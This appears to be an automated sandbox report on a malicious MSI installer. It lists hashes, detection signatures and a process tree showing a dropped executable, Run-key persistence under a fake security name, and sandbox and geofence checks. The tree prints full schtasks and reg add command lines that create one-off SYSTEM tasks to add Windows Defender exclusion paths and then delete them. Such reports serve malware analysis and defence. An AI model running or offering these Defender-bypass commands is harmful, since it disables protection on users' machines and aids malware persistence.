Analysis
- max time kernel
150s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/07/2026, 22:38
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_mal003.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_mal003.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target install_mal003.msi
- Size 5.8MB
- Sample260730-2kerasydpg
- SHA256 82c128751707fe730a432a914ac18598e6f101a0dc025a1ee50e4f6a8ea80a5a
- MD5 2f0491dcce0e51830d495cccdcdc7fe7
- SHA1 1a510fb2a3ed28ff190937cb9ed9aa3fdd5b2736
- SHA512 2212260f9097d596fa693887b5cd35c5752ea1810a76f0962b690afbeee0fb3cbc6d24da41e0e49f8e1fc47ffc118d94141c63faed53b41ddff4af82d6ce5308
- SSDEEP 98304:3AnifxFCNdq4yN9vE1bVdEpUGoPHN9HGkZCCwCJtXG4X32KvqiHR+:3yOPsdq1N9vE1bPEiGut9HzgcPGY32K0
- TLSH T104563391BE8A2B39D027D7B44696663E702D7FD14E634C0ABAFA3F1D5E323152879340
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation aoaAb3.exe - Executes dropped EXE 1 IoCs
pid Process 1512 aoaAb3.exe - Loads dropped DLL 2 IoCs
pid Process 5060 MsiExec.exe 1512 aoaAb3.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\xYuAgC\\aoaAb3.exe\"" aoaAb3.exe - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 33 5060 MsiExec.exe 54 5060 MsiExec.exe 56 5060 MsiExec.exe 58 5060 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3368 cmd.exe 5000 cmd.exe 3092 cmd.exe 3040 cmd.exe 1280 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b aoaAb3.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\e587ea1.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI7FBA.tmp msiexec.exe File opened for modification C:\Windows\Installer\e587ea1.msi msiexec.exe File created C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6} msiexec.exe File opened for modification C:\Windows\Installer\MSI8067.tmp msiexec.exe File created C:\Windows\Installer\e587ea3.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3264 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 888 cmd.exe 768 cmd.exe 1120 cmd.exe 3796 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000306421734df6c2060000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000306421730000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090030642173000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a30642173000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d30642173000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal003.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "98FF6061FB16E5349B09B4760EA3AEF9" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3404 schtasks.exe 2364 schtasks.exe 2428 schtasks.exe 4808 schtasks.exe 2664 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5032 msiexec.exe 5032 msiexec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 5060 MsiExec.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe 1512 aoaAb3.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3264 msiexec.exe Token: SeIncreaseQuotaPrivilege 3264 msiexec.exe Token: SeSecurityPrivilege 5032 msiexec.exe Token: SeCreateTokenPrivilege 3264 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3264 msiexec.exe Token: SeLockMemoryPrivilege 3264 msiexec.exe Token: SeIncreaseQuotaPrivilege 3264 msiexec.exe Token: SeMachineAccountPrivilege 3264 msiexec.exe Token: SeTcbPrivilege 3264 msiexec.exe Token: SeSecurityPrivilege 3264 msiexec.exe Token: SeTakeOwnershipPrivilege 3264 msiexec.exe Token: SeLoadDriverPrivilege 3264 msiexec.exe Token: SeSystemProfilePrivilege 3264 msiexec.exe Token: SeSystemtimePrivilege 3264 msiexec.exe Token: SeProfSingleProcessPrivilege 3264 msiexec.exe Token: SeIncBasePriorityPrivilege 3264 msiexec.exe Token: SeCreatePagefilePrivilege 3264 msiexec.exe Token: SeCreatePermanentPrivilege 3264 msiexec.exe Token: SeBackupPrivilege 3264 msiexec.exe Token: SeRestorePrivilege 3264 msiexec.exe Token: SeShutdownPrivilege 3264 msiexec.exe Token: SeDebugPrivilege 3264 msiexec.exe Token: SeAuditPrivilege 3264 msiexec.exe Token: SeSystemEnvironmentPrivilege 3264 msiexec.exe Token: SeChangeNotifyPrivilege 3264 msiexec.exe Token: SeRemoteShutdownPrivilege 3264 msiexec.exe Token: SeUndockPrivilege 3264 msiexec.exe Token: SeSyncAgentPrivilege 3264 msiexec.exe Token: SeEnableDelegationPrivilege 3264 msiexec.exe Token: SeManageVolumePrivilege 3264 msiexec.exe Token: SeImpersonatePrivilege 3264 msiexec.exe Token: SeCreateGlobalPrivilege 3264 msiexec.exe Token: SeBackupPrivilege 2476 vssvc.exe Token: SeRestorePrivilege 2476 vssvc.exe Token: SeAuditPrivilege 2476 vssvc.exe Token: SeBackupPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeBackupPrivilege 4936 srtasks.exe Token: SeRestorePrivilege 4936 srtasks.exe Token: SeSecurityPrivilege 4936 srtasks.exe Token: SeTakeOwnershipPrivilege 4936 srtasks.exe Token: SeBackupPrivilege 4936 srtasks.exe Token: SeRestorePrivilege 4936 srtasks.exe Token: SeSecurityPrivilege 4936 srtasks.exe Token: SeTakeOwnershipPrivilege 4936 srtasks.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe Token: SeTakeOwnershipPrivilege 5032 msiexec.exe Token: SeRestorePrivilege 5032 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3264 msiexec.exe 3264 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 5032 wrote to memory of 4936 5032 msiexec.exe 103 PID 5032 wrote to memory of 5060 5032 msiexec.exe 105 PID 1512 wrote to memory of 5000 1512 aoaAb3.exe 116 PID 1512 wrote to memory of 3092 1512 aoaAb3.exe 119 PID 5000 wrote to memory of 3404 5000 cmd.exe 121 PID 3092 wrote to memory of 2364 3092 cmd.exe 122 PID 5000 wrote to memory of 4712 5000 cmd.exe 123 PID 3092 wrote to memory of 4040 3092 cmd.exe 125 PID 5000 wrote to memory of 3304 5000 cmd.exe 126 PID 3092 wrote to memory of 3488 3092 cmd.exe 127 PID 888 wrote to memory of 1804 888 cmd.exe 129 PID 1512 wrote to memory of 3040 1512 aoaAb3.exe 130 PID 3040 wrote to memory of 2428 3040 cmd.exe 132 PID 3040 wrote to memory of 2436 3040 cmd.exe 134 PID 3040 wrote to memory of 4100 3040 cmd.exe 138 PID 768 wrote to memory of 3480 768 cmd.exe 139 PID 1512 wrote to memory of 1280 1512 aoaAb3.exe 140 PID 1280 wrote to memory of 4808 1280 cmd.exe 142 PID 1280 wrote to memory of 4332 1280 cmd.exe 143 PID 1280 wrote to memory of 2656 1280 cmd.exe 146 PID 1120 wrote to memory of 3568 1120 cmd.exe 147 PID 1512 wrote to memory of 3368 1512 aoaAb3.exe 148 PID 3368 wrote to memory of 2664 3368 cmd.exe 150 PID 3368 wrote to memory of 4592 3368 cmd.exe 151 PID 3796 wrote to memory of 3364 3796 cmd.exe 154 PID 3368 wrote to memory of 3448 3368 cmd.exe 155 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal003.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3264
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4936
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding BF7A0E29757C8EC2E674484C65D9B4F7 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5060
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2476
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C:\Users\Public\xYuAgC\aoaAb3.exeC:\Users\Public\xYuAgC\aoaAb3.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xYuAgC\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xYuAgC\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3404
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4712
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2364
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4040
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2428
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2436
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4808
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4332
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2656
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2664
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4592
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3448
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:888 -
